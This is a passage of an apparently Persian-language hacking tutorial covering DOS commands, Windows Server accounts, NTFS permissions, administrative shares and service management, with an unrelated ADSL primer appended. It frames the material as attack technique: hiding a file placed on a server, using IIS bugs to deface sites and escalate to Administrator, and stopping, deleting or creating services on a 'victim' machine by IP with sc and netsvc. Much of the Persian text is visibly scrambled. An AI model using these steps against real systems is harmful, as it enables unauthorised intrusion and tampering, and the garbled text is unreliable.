 

I:\winnt> cd .. 
I:\> C: 
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  : نماهم به صورت صفحه به صفحه بخو  رو اونIو ی از دراwinntات فولدر ی محتوCو یما از درايخوام مستق یحالا م

 
C:\> dir i:\winnt /p 

  
  : نميندوز ببیها رو در فولدر مربوط به و لیست فايل! ريخوام بدون دادن مس یار مهم، ميز بسي چکیحالا 

 
C:\> dir %SystemRoot% 

  
د ينکفرض . خوام بگم ی رو مdir دستور ید برایچ جديی سوکی. ندوزی فولدر ویعنی% SystemRoot%لمه ک Shellپس در ... !!! نهیا
. دقرار دار) یندوز هست وتر من فولدر مربوط به ويامپکه در ک ( Iو یدام فولدر از دراک در cmd.exe ییل اجرایادم رفته فایه من ک

 یها دم، بره و تمام سوراخ سنبه یر بهش مي مسکی یه وقتکنم ک استفاده یچيید از سوینم، بايها رو بب  فولدرکت،  ک تتونم برم یچون نم
  : سمینو ینم و مک ی استفاده مsچ يیاز سو. د ينيرو هم بب) تر  ی داخلی فولدرهان همایعنی( اون فولدر 

 
C:\> dir i:\cmd.exe /s 

  
  : شنوم یو جواب م

 
 Volume in drive I has no label. 
 Volume Serial Number is DC24-A09D 
 
 Directory of i:\WINNT\system32 
 
12/07/1999  04:00a             236,304 cmd.exe 
               1 File(s)        236,304 bytes 
 
 Directory of i:\WINNT\system32\dllcache 
 
12/07/1999  04:00a             236,304 cmd.exe 
               1 File(s)        236,304 bytes 
 
     Total Files Listed: 
               2 File(s)        472,608 bytes 
               0 Dir(s)   1,255,153,664 bytes free 

  
  : نای ایعنینه، کدا يل مربوطه رو در دو تا فولدر پین دستور توانست فایپس ا

 
i:\WINNT\system32 
i:\WINNT\system32\dllcache 

 dirو ! ) ادتون هستیه کش اتدستور ( Cو یگردم به درا یحالا برم. ندوز اومدی وshellه کم ي نوشتrunه ما در کن ا همcmd.exeن یا
 رو یلیه ما فاکاد يش مي پید گاهينيبب. د رو بگمی دستور جدکیخوام  یم.  هنوز هم اونجا هستali1000.incل یه فاکنم يب یرم و ميگ یم

  : نهینه، اک ی می رو مخفali1000.incل یه فاک یدستور.  باشهhiddenا ی یم به صورت مخفیخوا ی میم وليفرست ی سرور میکبه 
 

C:\> attrib +h ali1000.inc 
  

(  رو ی مخفیها لی فاdir دستور کمکم به هياگه بخوا!! البته هنوز هم هست. نميب ی رو نمali1000.incل یگه فایرم، دي بگdirحالا اگه 
  : مينک ی استفاده مaچ يینم، از سويبب ) ali1000.incاز جمله 

 
C:\> dir ali1000.inc /a 

  
  : سمینو یم، میرواي در بیل رو از حالت مخفیخوام فا یحالا م
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C:\> attrib -h ali1000.inc 

  
  ! ین راحتيبه هم

  
تاب کاگه .  براتون گفتم از آنها رایمکاد هستند و من فقط تعداد ی زیلين دستورات خیا. ه براتون نوشتمک بود dos ینا دستورات معمولیا

  !!! دیرياد بگی یشترين دستورات بيتون ین، میردکدا ي خونتون پیداس تو انبار
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  ندوزيم آنها در ويها و مفاه لي پسوند فا-
  
  

  .  دارندیم خاصيندوز پسوندها مفاهیعامل و ستميدر س
  
 از دستورات داس یا ه مجموعهکگن  ی مbatch file رو bat با پسوند یها لیفا. (  دارندbatا ی comا ی exe پسوند یی اجرایها لی فا-١

 com و exe یها لی فایول). ديني بباناتشی محتوtype دستور کمکن به يتون یب اجرا بشوند پس ميه به ترتک ديسیوش بنو تیتونن یرو م
م یرواي رو براتون بییل اجرای فاکیخوام  یحالا م.  قابل اجراستیست ولي براتون قابل خوندن ن آناتیه محتوک هستند یی اجرایها لیفا
رم از يگ ی مdir کیاول . نمک رو اجرا tftp.exeل یخوام فا یم! دينک رو اجرا ییل اجراید فايتون ی می چطورshellه در کد ينيه ببک

به دو .  آن رانمکخوام اجرا  یحالا م. د قرار دارi:\winnt\system32ل در فولدر ین فایه اکنم يب یو م% SyestemRoot%فولدر 
 : سمی و بعد بنوwinnt\system32تو فولدر ه برم کنی ایارو انجام بدم، اولکن یتونم ا یق میطر

I:\WINNT\system32> tftp.exe 
  
  : سمیه باشم، بنوک ییجا ما از هريه مستقکنیا ای
 

C:\> i:\winnt\system32\tftp.exe 
  

  : و جواب بشنوم
 

Transfers files to and from a remote computer running the TFTP service. 
 
TFTP [-i] host [GET | PUT] source [destination] 
 
  -i              Specifies binary image transfer mode (also called 
                  octet). In binary image mode the file is moved 
                  literally, byte by byte. Use this mode when 
                  transferring binary files. 
  host            Specifies the local or remote host. 
  GET             Transfers the file destination on the remote host to 
                  the file source on the local host. 
  PUT             Transfers the file source on the local host to 
                  the file destination on the remote host. 
  source          Specifies the file to transfer. 
  destination     Specifies where to transfer the file. 

  
ه  .  آن را نمک  انم اجر اتو یه با نوشتن اسم اون مکدم ي بود فهم  exeل من   یپس چون پسوند فا    رای تون باشه  ادی اگ ا ب ان   خط ی ابزاره  یفرم

  .میردک یارو مکن ي هم، همncمثل 
  
  
  : استانداردیها لی فا-٢
  
ا  ستمي مثلا در س. نهک یها از نظر پسوند فرق م  عامل  ستمير س یندوز با سا  ی در و  یی اجرا یها  لیفا ر  ی مبتن یه ه اصلا فا  کس مميکونی  ب ل ی ن

ا   لی مثلا فا . اند   استاندارد شده  ییجورا  هیه  کها هستند     لی فا یه سر ی یول!  نداشته باشه  ی  پسوند ییاجرا سوندها  ک  ( یری تصو  یه ، gif یه پ
jpgدارند...  و(یها لی، فا html ) یه پسوندهاک html ا یhtm یها لی، فا) دارند asp  ،php نا ... ، و ا ا ییپس آش ا و فرمت    لی ن فای  ب ه

ا ک د ي نک ی طراح htmlل ی  فاکی د ي تون ی نم ید ول ی ردک ک وب رو ه تی سا کیه شما   کد  ينکفرض  . نهک کمک یليتونه خ   یاونا م   یه بج
  !!! و من ميدونم که حتما دق ميکنيد دید پز بديتون یه نمکشه ين میجه ايد، نتیت قرار بدیصفحه اول سا

  
  :یاربردک یافزارها  نرمیها لی فا-٣
  
د ک ی م  پسوند خاص ارائه   کیهاشونو با     یم خروج ادک  هر یاربردک یافزارها  نرم ثلا فا . نن ا  لی م سوند   یه د psd فتوشاپ پ ا  لی فا.  دارن  یه

MS Word پسوند docدارند و ...  
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 ٢٢٨    صفحه

  ندوز سروريها در و ها و گروه انتک ا-
  
  

رد صحبت م         ی و یک م در مورد    یه گفتم ما دار   کطور    همون دوز سرور منف ابرا  ين ک ین ت، ا  کن منظور من از ا      یم، بن ا   انت کان ا ی  ی محل  یه
local   ا  انتکه مورد استفاده هستند، معمولا ا کنار هم و به صورت شب     کندوز سرور در    یچند و  یوقت(  است م  globalا ی  ی سراسر یه  ه
ورد ا . ردي گ ی مورد استفاده قرار م    domain به منابع در     ی دسترس یه برا کشود    یست م  دوز سرور چ  ی در وdomainه ک نیدرم ست، ي ن

روه  . می ال رو دار ک لو یها  انتکن ما بحث ا   یبنابرا). دم  یح م يبعدها توض  ورد گ م هم    در م ا ه روه یعن یطور   نيه ا   گ م  یال رو م ک  لویه   .گ
  
ه س  ک ایک ق ی  از طریوقت . ندوز سرور است  ی معتبر در و password و   username یکانت عبارت از    کا م، یشو  یستم وارد م ي انت ب

ا   . می ا  ردهک  logonا  ی  loginه  کم  یيگو  یاصطلاحا م  ه س        ک  loginب ه سرور ب ه فا   ی خاص از دسترس     یطحردن ب ابع س       لی  ب ا و من ستم ي ه
  :ست ها هنیهاش، ا نیتر ه مهمک دفرض وجود دار شيال پکانت لوک ایادیتعداد ز. دانت دارکارات اون اي به سطح اختیه بستگکم يرس یم

  
ه نها   ي نک loginانت   کن ا ی اگه با ا  .  به اون سرور خاص است     ین سطح دسترس  یبالاتر : Administratorانت  ک ا -١ ه  یت دسترس  ی د، ب  ب

  .سيکونی بر ی مبتنیها عامل ستمي در سrootمعادل . دیا دهيوتر رسيامپکاون 
  
  . داردیار محدوديارات بسياخت. ر فعال استيفرض غ شيبه صورت پ : guestانت ک ا-٢
  
  : ن باشهیانت اکن ایه اسم انکمثلا مم. ست ه وتريامپک نام همون xxxx-yyyyyyانت کن ایدر ا : IUSR_xxxxx-yyyyy  انتک ا-٣

IUSR_ABBASGOLI-V0P1QR !! انت همراه با    کن ا یاIIS   سورد  کی ندوز یشه و خود ويجاد میفرض ا  شي به طور پ  random پ
زار همون چ   ن نرمیا. ندوز استی ویروسافت برایکسرور ما  وبInternet Information Serverا ی IIS. ( نهک یبراش ست م  یزي اف

را ي نک ی از اون سرور رو توسط مرورگر درخواست م    یتی شما سا یماند و وقت    یگوش م    فال ٨٠رت   پو یه رو کاست    شما صفحه   ید، ب
دازه     کندوز وجود دارد    ی و یز برا ي ن یگری د یوب سرورها . فرستد  یوب رو م   ر  IISه به ان انت  ک ایک ز ي انت ن کن ای ا) ستندي اربرد نک   پ

ن ی  شل از ا یک  اون نصب شده و   ی روIISه ک د ي نک ی م ک را هیندوز سروریو ٨٠ق پورت  ی شما مشخصا از طر    یوقت. محدود است 
ما سطح اختیريگ یق میطر ولا ش ادل همیاراتيد، معم ت کن اي مع ما سطح یعنی. دیا دهی رو بدست آورIUSR_xxxxx-yyyyyان  ش
ا  کپرسند  یّها از من م یليخ. دی رو ندارAdministratorارات ياخت دوز  یو یک  Unicode bugه مثلا ب  یم ول ی ا ردهک  ک رو ه ٢٠٠٠ن
ون ینم ا يت فحه اول س ثلا ص وض یم م ه ی ا آنليدل... مينکت رو ع لکن ما از اک یه ش ت آوردهین طریه ش طح یا ق بدس د، در س

Administrator انت ک از ایقیه به طرکن است لازم باشد     کست و مم  ي نIUSR_xxxxx-yyyyy به Administratorد يد تا بتوني برس
  .دیريرو بدست بگ) صفحه اول( خاص لیاون فا

  
  ... و-۴
  
  

  ست؟يچ ) local groups ( ی محلیها  گروه
  

اد شده     یانت مختلف در اون ا     ک ا ۵٠ وتريامپک کیه  کد  ينکفرض   ا دسترس     انت کن ا ی دوم از ا  ک ه هر    ک ج اوت  یه ابع داشته      ی  با ی متف ه من د ب
ابع خاص    یزه دسترسجاد بشه و اجای اکت،  کانت تک ا۵٠اگه قرار باشه هر  . باشند ه من شه،   ی ایکی ،  یکی  ب اد ب س ک ج   یار طولان يار ب

 guest تاشون در حد   ٣٠سان داشته باشند، مثلا یکارات  يد سطح اخت  یها با   انتکن ا ی از ا  یادیه تعداد ز  کنگونه است   یمعمولا ا . خواهد بود 
روه ا   یک ه  کن حالت بهتر است     یدر ا .  داشته باشند  ید به سرور دسترس   یبا اد ی گ رای ارات ي  شود و اخت  ج شه   ب روه ست ب حالا هر   .  اون گ
روه . نهک یتر م ت رو سادهیرین مدیارات رو خواهد داشت و ا     يجاد بشه، همون سطح اخت    یه داخل اون گروه ا    ک ینتاک ا   معمولا اسم گ  کی ه

  :ها عبارتند از ن گروهیتر مهم. ه ه علامت جمعکن دارند اش  آخرsحرف 
  
١- Administrators :یعنی adminشون در حد  یه دسترسکها  انتک از ایا مجموعه.  هاAdministratorاست .  
  
٢- Power Users  
  
٣- Backup Operators  
  
۴- Guests  
  
۵- Users  
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 ٢٢٩    صفحه

  
  ... و-۶
  
  

Account Policyست؟ي چ  
  

ثلا مم . شود  یها ست م   انتک ایه براک است  ی قواعد د  ک سرور ست   Adminن است  ک م را    ک ن سورد ب  ۶د ی انت با ک ایه حداقل طول پ
تم   ١٣٩ن اطلاعات رو قبلا در درس پورت        یا...  قفل شود و   login ی بار امتحان ناموفق برا    ٣انت بعد از    که فلان ا  کنیا ا یحرف باشد     گف

  .بدست آورد...  وwinfoا ی enum کمکشه به يه مک
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 ٢٣٠    صفحه

- permision در  )  مجوزها(  هاNTFS  
  
  

ا تع  مجوز .  رخ داده است FAT32ه نسبت به ک است ین تحولیتر  مهمNTFSها در   مجوز ي ه د  ک ین م ي اربر  یک ه ک نن ه س ک  ک ستم ي ه ب
login ر از گروه کارب یکه کد ينکفرض . ندکار ک فولدر یک یها  لیتواند با فا    ی م یرده است، در چه حد    کguests ه س ستم وارد شده  ي  ب

د يي از نوع خواندن و نوشتن داشته و آنها را تغیها دسترس لین فرد بتواند به تمام فایه اکم يخواه ی نمن حالت مسلما  یاست، در ا   پس  . ر ده
در ا فول د  ییه ود دارن ه فا   (  وج وط ب در مرب ل فول ا لیمث دوز ی ویه را ک) ن ط ب راد خاص یه فق ل دسترس ی اف ستندی قاب   . ه

ا   لی فا یشوند نه برا    یم م يها تنظ   فولدر یها برا  ه مجوز کن است   یندوز ا یار مهم در و   يته بس کن ارت د    . ه ه عب را  ی  مجوز  یگر وقت   یب  ی ب
در  ی ه با ک م، بل ين کم  ين مجوز رو تنظ    یل ا ی اون فا  یم برا يتوان  یها نم  ندوز سرور یم، در و  ينکم ست   يخواه  ی م یلیفا ل در اون   ی ه فا ک  ید فول

ت    ه رو س رار گرفت ام فا یدر ا. مينکق ت تم ا لین حال ل اون فویه در هم  داخ ت  يل د داش وز رو خواهن   .ن مج
ه صورت      یها  انتک ا یها برا  ه مجوز کن است   یگر ا یته مهم د  کن ا    مختلف ب اوت ست م     یه ثلا مم . شوند  ی متف در و  ک م دوز  ین است فول ن

  .املک ی به صورت دسترسAdministrators یها انتک ای برایم شود، ولي تنظی به صورت فقط خواندنguest یها انتک ایبرا
  
  
  :NTFS 4.0ها در  مجوز -الف
  
١- No Access : دم دسترس یعنی رای ع ک ی ب اص ک ای ت خ د   ی نمیه حتکنی ایعنی. ان در ش وان وارد اون فول   .ت
٢- Read : در وارد شد و فا           ی م یعنی. یفقط خواندن ه فول ا رو دسترس      لی شه ب ا   لی چه فا  (  داشت    یه ی  اجرا یه ی ر اجراي  و چه غ    ی و  ) ی

ا   لی ر در فا  يي  اجازه تغ   یول ) رد  ک ن  اش ی  شه اجرا  ي  م یعنی یی اجرا یها  لی فا در مورد ( ها رو خواند      اون ا    یه ل پ در مث ردن، ک  ک اون فول
  .مید رو نداریل جدیجاد فایش و ایرایو

  
٣- Change :ه    یعن ی. انت خاص مجاز است      ک اون ا  یر، هم حذف و هم اجرا برا      يي هم خواندن، هم تغ    یعنی ه تغ   یار ول  ک  هم ر دادن  يي  ن

را    کن فولدر   یه ا کنه  کتونه ست     یه فرد نم  کنی ا یعنی.  اون فولدر  ایبرها   مجوز ا   انت ک ا یه الان مثلا ب ل دسترس    guests یه ست، ي  نی قاب
  .قابل دسترس بشه

  
۴- Full Control :وارد    . املک ی دسترس یعنی ه م ه شد      ٣ه در شماره     ک  یشامل هم ا  ر مجوز  يي اجازه تغ  +  گفت ابرا . ه ن مجوز   ی ن ا یبن

  .شود یها ست مAdmin یمعمولا فقط برا
  
  
  :NTFS 5.0ها در   مجوز-ب
  
١- No Access : ی عدم دسترسیعنی.  
  
٢- Read :در . یفقط خواندنNTFS ۴در حالت ٫٠ Readدر یم ولينک داخل اون فولدر رو اجرا یی اجرایها لیم فايتونست ی م NTFS 

  .ميم بخونيتون یمم و فقط ينک رو اجرا یی اجرایها لیم فايتون ین مجوز نمی با ا5.0
  
٣- Read & Execute :ردنکز اجازه اجرا ي اجازه خواندن و نیعنی.  
  
۴- Write :ر دادنييردن و تغک اجازه خواندن، اجزا یعنی.  
  
۵- Modify :قا مثل يدقWrite .ی نوع دسترسیک یدو اسم برا! دروسافت بزرگ داریک مایب هوشین نشون از ضریا(:   
  
۶- Full Control :مثل یعنی Write + ها ر مجوزيياجازه تغ  
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 ٢٣١    صفحه

- Shareندوز سروري ها در و  
  
  

share  ه  کطور  همون.  باشدیقابل دسترس)  از راه دور یعنی( ه کق شبیه از طرک ی منابع یعنیها   ندوز سرور ی در و ه تو درس مربوط ب
و   یکه ماک است SMBل کتق پرویها، از طر ندوز سروری در وکی به منابع اشترای گفتم، دسترس  ١٣٩پورت   . گه ي مCIFSروسافت اون
ه اسم    یزي  چکی( شه يل مکيا نشست تشی session یکم و بعد از اون یت داری احراز هویکن حالت، اول یدر ا م ب  Null Session ه

 است  یزي  هم چ NetBIOSو  ) ه از دور خارج شده    ک (NetBEUI یمی قد یها  لکپروت. )  در همون درس اومده     آن حاتيه توض کهست  
  . ها و چاپگر ویها، درا فولدر: ه مشخصهک هم کیمنابع اشترا. شهيندوز ساپورت میهنوز هم توسط و

  
  

  : هاshareست يم به ليرس یحالا م
  
$IPC : ن  یم به ا  ينااگه بتو . املک ی دسترس یعنیshare ام فا        ي برس ه تم ع ب ا، درا    لی م در واق در     وی ه ا و فول ا دسترس   ه معمولا  . می  داریه

  . استAdmin یها انتکابرای  فقط shareن ی به ایدسترس
  
$ADMIN : ن یاshare در ه فول وط ب ده است  یه وک است ی مرب صب ش دوز در اون ن ابرا% SystemRoot %یعنین  shareن یبن

  .شهي محسوب مIPC$ نسبت به یتر محدود
  
$print : نجاست یاش ا   فولدر مربوطه  !  چاپگر یعنی :SystemRoot%\system32\spool\PRINTERS %ا ا   یعن ی ه  shareن ی  ب  ب
  .شوند ی می نگهدارspl با پسوند ییها لی به صورت فای چاپیارهاکه ک است یین فولدر جایا. می دارین فولدر دسترسیا

  
$C و $Dن یاگه ا...:  وshareیها وی ها ست شده باشه به درا C و D می داریدسترس...  و.  

  
shareشه يدوز منی رو در ویهر فولدر: گری دی هاshare نام خاص به اون نسبت دادیکرد و ک ...  

  
  

د   ی ها هم م  shareن  یدوم از ا  که هر   کنجاست  یخوب بحث ا   رای  تونن ا  انت ک اب ه صورت   یه ا   مختلف ب اوت مجوز  یه (  شوند  یده   متف
ر  یار م ک ب روNetwork Access ها عبارت shareدر مورد . د تفاوت وجود دار کی یول) ه گفتم ک NTFSدرست مثل بحث      یم ول یب

رای  ارت  NTFS ب ا مم ی و اLocal Access عب ند  کن اوت باش ه متف ثلا فرض   . ن رای  Cو ی ه دراکم ين کم ه share در guestانت  ک اب  ب
ه صورت      NTFS در   guest برایه  کندوز باشه   یو فولدر و  ین درا ي در هم  یول.  ست شده باشه   readصورت   شه    No Access ب .  ست ب

رای  (No Access یعن یم، ين ک یه نگاه مي به قضکن حالت، به صورت اشترایه؟ در اافت ی میحالا چه اتفاق و ) local Access حالت  ب
Read) حالت  برای remote Access (    ترا م اش ا ه و درس ر ک  یزي همون چ ( م یري گ ی م کرو ب د اات خوياض یه ت  Noجه  يو نت! ) مین

Accessه . شهي  م ه خCو ی وارد دراshareق ی از طرguest یکپس اگ شه، اگرچه ب دریلي ب ا دسترس  از فول د داشت ولیه  ی خواه
  .ن خواهد بودکرمميو غیندوز در همون درای اون به فولدر مربوط به ویدسترس
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 ٢٣٢    صفحه

  ندوز سروريها در و سي سرو-
  
  
ا  یا ما با  ی فعال باشند    یوتر قربان يد در کامپ  یها با   سی سرو ی خاص، بعض  ی کارها ی بعض یبرا ثلا در درس   . ( مين کن  اش  لد فع ا   م  ی قبل  یه

ودم .  شما گفتم  رو بهی مطالبschedule serviceدر مورد  ه بخوا   ! فرم ه اگ ا يهک ان یم کاره د   زم ام   ی شده رو در سرور و  یبن دوز انج ن
د رویم، ایب هیس باین س ه د ب ابرا. ) راه باش ض ید ین از دیبن ر بع رویک هک م  سی س ا مه واه     ه ا خ ه اونه ه ب ستند ک ر ه تميت   . پرداخ
  

  :دیرياد بگید یاول چند اصطلاح رو با
  
١- Display Name : مثلا . س استینام کامل سرو"Terminal Services "م     ( س ینال سروي ترمیبرا زرگ و کوچک مه حروف ب

  ! )است
  
٢- Service Name ا یKey Name :  ده و ام خلاصه ش هین رایا ک کلم ثلا . هاست سی سروی ب راTermServiceم ال يرم تی ب ن

  ! )حروف بزرگ و کوچک مهم است( س یسرو
  
٣- Process Name :  ی ل اجرای ک فایاسم سوند    ( ی ا پ ه سرو   ) exeب رده است   یس رو ایک اد ک ثلا  . ج را svchost.exeم ال  ي ترمی ب ن

  )جاد کند یس مختلف رو ایک پروسس چند سروید که ممکن است يدقت کن. ( سیسرو
  
  

ه تنظ ) شه  ي م restart( اد  ي که بالا م   یعامل موقع   تمسيد که س  يخوب حالا بهتره بدون    ا       یس م یمات هر سرو   يبا توجه ب ه سه شکل ب ه ب تون
  :اون رفتار کنه

  
١- Automatic :  ک شروع   يس هم به صورت اتومات    یاد، سرو يم شده باشد، هر وقت که سرور بالا م        يت تنظ ين وضع یس در ا  یاگر سرو

  .کنه یبه کار م
  
٢- Manual :  ال     يم) گه  یس د یک سرو یا توسط   ی ( یت باشه، به صورت دست    ين وضع یس در ا  یاگر سرو و فع رد   ي ا غی شه اون ال ک ر فع
  .ر فعال خواهد بوديفرض غ شي موقع بالا اومدن به صورت پیول
  
٣- Disabled :  ل، غ    ستميت باشه، موقع بالا اومدن س     ين وضع یس در ا  یاگه سرو ود و       ي عام د ب ال خواه س یوک سر ی ا ی وزر ی ک ی ر فع

  .تونه اونو فعال کنه یوابسته نم
  
  

  : استیها هم قابل بررس سیت سرويوضع
  
١- Running : ت اجرا استي الان در وضعیعنی.  
  
٢- Paused : د ی ادامه کار بایبرا. کنه ی رو قبول نمی کاریت اجرا هست ولي هنوز در وضعیعنیContinueمي کن.  
  
٣- Stopped : د ی کار دوبار با ادامهی متوقف شده، برایعنیStartبشه .  
  
  

  :میم انجام بديتون یها چند تا کار م سین سرویو ما نسبت به ا
  
١- Start : از حالت یعنی Stoppedخارج بشه و شروع به کار کنه .  
  
٢- Stop : متوقف بشهیعنی .  
  
٣- Pause : ن تر از    یيه درجه پا  ی.  رو قبول نکنه   ی کار یعنیstop  شه  یست دوباره فراخوان يار لازم ن ادامه کی است چون برا  یعن ی(  ب

  )ره يگ ی نمی موقتا کاریآماده کار است ول
  
۴- Continue : از حالت یعنی Pauseت ي خارج شده و در وضعRunningرهي قرار بگ.  
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 ٢٣٣    صفحه

  
۵- Delete : اره ن    ی م، با يدا کن ي پ یرس  م دوباره بهش دست   يهاگه بخوا ( م  يس موجود رو پاک کن    یک سرو ی یعنی ا ا  ). صب شود    د دوب ن ی ب

  .شوند ی پاک میستري مربوطه از رجیها یها و ورود ديکار تمام کل
  
۶- Create و Install :  عمل عکسDeleteد ام ب اد کنید ایس جدیک سروی یعنی. می رو انج ا ا. ميج ار کلیب ا و ورود دين ک ا یه  یه

  .شوند ی اضافه میستريمربوطه به رج
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 ٢٣٤    صفحه

  : ها و ابزارهای لازمه کار با سرويس
  
  
م یا وتر هدف متصل شدهي به کامپیکي گرافremote controlک یا با ی( م یا وتر خودمون نشستهي که پشت کامپیها وقت سی کار با سرو-١

: (  
  
  :ديسی بنوRUNد در قسمت يتون ین مواقع میدر ا

  
 Winmsd.exe ای  services.msc  

  
  

 Softwareر ي، در قسمت سمت راست پنجره مس) استSystem Informationن برنامه ینام ا( د یا  را آوردهwinmsd.exeاگر 
Invironment < Servicesدي اعمال کنیرييد تغيتون ی نمیول. دينيها رو بب سیت سرويد، اسم و وضعيتوان یحالا م. دي کنی را ط.  

د با راست يتون ی م د،ينيب یها که م سیت سروي، علاوه بر نام و وضع) استServicesن برنامه ینام ا( د یا  را آوردهservices.mscاگر 
ر يي را تغStatusد، يا متوقف کنیمثلا شروع . دي اعمال کنیراتييها تغ سیدر سرو ) ییا به کمک بار بالای( س ی هر سرویک رويکل
  ...د و يده
  
  
  :یها به صورت خط فرمان سی کار با سرو-٢
  
ز يو ن ) net continue و net pause و net stop و net start یعنی ( net مثل دستورات ی خاصین موارد از ابزارهای ادر

  . مياستفاده کن ) winmsdp و svcmon و srvany و isntsrv و delsrv و netsvc و sclist و sc یعنی ( NTRK یابزارها
  

 فقط به ی، بعضNTRK ی در مورد ابزارهایول.  قابل استفاده هستندremoteو هم  loaclد، هم به صورت يدون ی که مnetدستورات 
کنم، و  یست ميشه انجام داد رو ليها م سی که با سروییمن کارها.  هر دو کاربرد دارندی و بعضremote فقط یصورت لوکال و بعض

  :شه استفاده کرد ی میی ابزارهام، از چهيموت کار کنیا ریم به صورت لوکال يه بخوارگم که اگ یدر هر کدوم م
  
  ! )ديام، دقت کن  استفاده کردهینیي از دستورات پای که در تعدادfindحتما به کاربرد دستور ( 
  ! )گم، انتخاب هر کدوم به دلخواه شماست یتا دستور مختلف رو م  چندیک موردی در یوقت( 
  
  
  : موجودیها سیست کردن سرويل+ 
  
  :  لوکال-
 

sclist 
sc query 
winmsdp /s           ( file-e be esm-e msdrpt.TXT ijad mikonad, uno bekhunid ) 

  : موتی ر-
  

netsvc /list \\xxx.xxx.xxx.xxx 
  
 Scheduleمثلا ... ( گر ی بودن و اطلاعات دStoped بودن، Paused بودن، Runningس از نظر یک سرویت ي وضعیبررس+ 

 ) Schedule:  اش هستKey Nameا ی Service Nameکه ي در حالTask Scheduler: ست اش هDisplay Nameس که یسرو
:  

  
  :  لوکال-
  

sclist | find "Schedule" 
sc query Schedule  
sc query Schedule | find "STATE" 
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 ٢٣٥    صفحه

sc qc Schedule  
  
  : موتی ر-
  

netsvc Schedule \\xxx.xxx.xxx.xxx /query 
netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /query 
sc \\xxx.xxx.xxx.xxx query Schedule  
sc \\xxx.xxx.xxx.xxx query Schedule | find "STATE" 
sc \\xxx.xxx.xxx.xxx qc Schedule  

  
 +Stopped مثلا در مورد ( س یک سروی کردنScheduleس که ی سروDisplay Nameاش هست  :Task Schedulerکه ي در حال

Service Name ا یKey Nameاش هست  :Schedule:(   
  
  :  لوکال-
  

net stop Schedule 
net stop "Task Scheduler" 
sc stop Schedule 

  
  : موتی ر-
  

netsvc Schedule \\xxx.xxx.xxx.xxx /stop 
netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /stop 
sc \\xxx.xxx.xxx.xxx stop Schedule 

  
 Task  : اش هستDisplay Nameس که ی سروScheduleمثلا در مورد ( س یک سروی در آوردن Stoppedالت از ح+ 

Schedulerکه ي در حالService Name ا یKey Nameاش هست  :Schedule:(   
  
  
  :  لوکال-
  

net start Schedule 
net start "Task Scheduler" 
sc start Schedule 

  
  : موتی ر-
  

netsvc Schedule \\xxx.xxx.xxx.xxx /start 
netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /start 
sc \\xxx.xxx.xxx.xxx start Schedule 

  
 +Paused مثلا در مورد ( س خاص یک سروی کردنScheduleس که ی سروDisplay Nameاش هست  :Task Scheduler در 
   ):Schedule:  اش هستKey Name ا Service Nameکه يحال
  
  :  لوکال-
  

net pause Schedule 
net pause "Task Scheduler" 
sc pause Schedule 

  
  : موتی ر-
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 ٢٣٦    صفحه

  
netsvc Schedule \\xxx.xxx.xxx.xxx /pause 
netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /pause 
sc \\xxx.xxx.xxx.xxx pause Schedule 

  
 Task:  اش هستDisplay Nameس که ی سروScheduleمثلا در مورد ( س یک سروی در آوردن Pausedاز حالت + 

Schedulerکه ي در حالService Name ا یKey Nameاش هست  :Schedule:(   
  
  :  لوکال-
  

net continue Schedule 
net continue "Task Scheduler" 
sc continue Schedule 

  
  : موتی ر-
  

netsvc TermsService \\xxx.xxx.xxx.xxx /continue 
netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /continue 
sc \\xxx.xxx.xxx.xxx continue Schedule 

  
 +Delete مثلا در مورد ( س خاص یک سروی کردنScheduleس که ی سروDisplay Nameاش هست  :Task Scheduler در 
  ): Schedule:  اش هستKey Nameا ی Service Nameکه يحال
  
  :  لوکال-
  

sc delete Schedule 
instsrv Schedule remove 
delsrv Schedule 

  
  : موتی ر-
  

sc \\xxx.xxx.xxx.xxx delete Schedule 
  
 +Create ا یInstall مثلا در مورد ( س یک سروی کردنScheduleس که ی سروDisplay Nameاش هست  :Task Scheduler 

   ):Schedule:  اش هستKey Nameا ی Service Nameکه يدر حال
  
  :  لوکال-
  

sc  create Schedule  binPath=zzzz    ( zzzz  yani masire file ejrayi marbut be Schedule ) 
instsrv Schedule zzzzz 
srvany ????    ( ba in dastur ham mishavad vali man syntax-esho nemidunam ) 

  
  : موتی ر-
  

sc  \\xxx.xxx.xxx.xxx create Schedule  binPath=zzzz 
  

س رو ی سروSchedule مربوط به Display Nameد که من يفرض کن.  نکته موندهکینا تموم شد، حالا فقط ی ایخوب به سلامت
 است یکاف. دا کنميخوام پ یدونم و م ی اش رو نمKey Nameا ی Service Nameکه ي در حالTask Scheduler: دونم که هست یم

  : سمیر رو بنویور زدست
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 ٢٣٧    صفحه

sc GetKeyName "task scheduler" 
  

 Displayخوام  ی است، مScheduleدونم که  ی رو مKey Nameم، مثلا یحالت برعکس هم دار. خوام ی است که من میزيو جواب چ
Nameسمینو یم. رمي رو بگ :  

 
sc GetDisplayName schedule 

  
  !ها سیم از سرویراحت شد
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 ٢٣٨    صفحه

DSL ؟چيست 
   

DSL یا Digital Subscriber Line)      ال ی خط اشتراک دیجيت ه معن ه           )ب ه جهت اتصال ب م هزین وثر و در عين حال ک ، یک شيوه م
ه اینترنت ر      DSLانواع مختلفی از    . اینترنت است که از سرعت و کيفيت مطلوبی برخوردار است          ه امکان اتصال ب ا   موجود است ک ا ب

 Asymmetric-DSLنوعی که عموما برای مصارف خانگی از آن استفاده می شود    . ها و امکانات مختلفی به وجود می آورند        سرعت
ا                 نا DSL یا   ADSLیا   ادل ب ا سرعتی مع رفتن اطلاعات ب تادن  ٢Mbpsمتقارن می باشد که در بهترین شرایط، عملا امکان گ  و فرس

  .دز را مهيا می سا٢۵۶Kbpsاطلاعات با سرعتی حدود 
  

ه باعث شده     ا آنچه ک د    ADSLو ام ان رشد کن ه جای جه ه سرعت در هم يهن اسلامی   ( ب ه م صرف نظر از بعضی کشورها از جمل
  :این است که) خودمان

  
ا    . های تلفن معمولی استفاده می کند    از همان زوج سيم    ADSL: اولا ابرات ی ه خ ISPیعنی نياز به سيم کشی جدید از مرکز مخ ا    ب ه ه ان

  )cableبر خلاف سيستمهای . (نيست و لذا از این جهت هيچ هزینه ای صرف نمی شود
  

ن                            ADSLدر  : ثانيا ی خط تلف د، یعن تفاده کني م اس  شما همواره به اینترنت متصل هستيد و در عين حال می توانيد از تلفن یا فاکس خود ه
  .شما هيچ وقت به دليل استفاده از اینترنت اشغال نمی شود

  
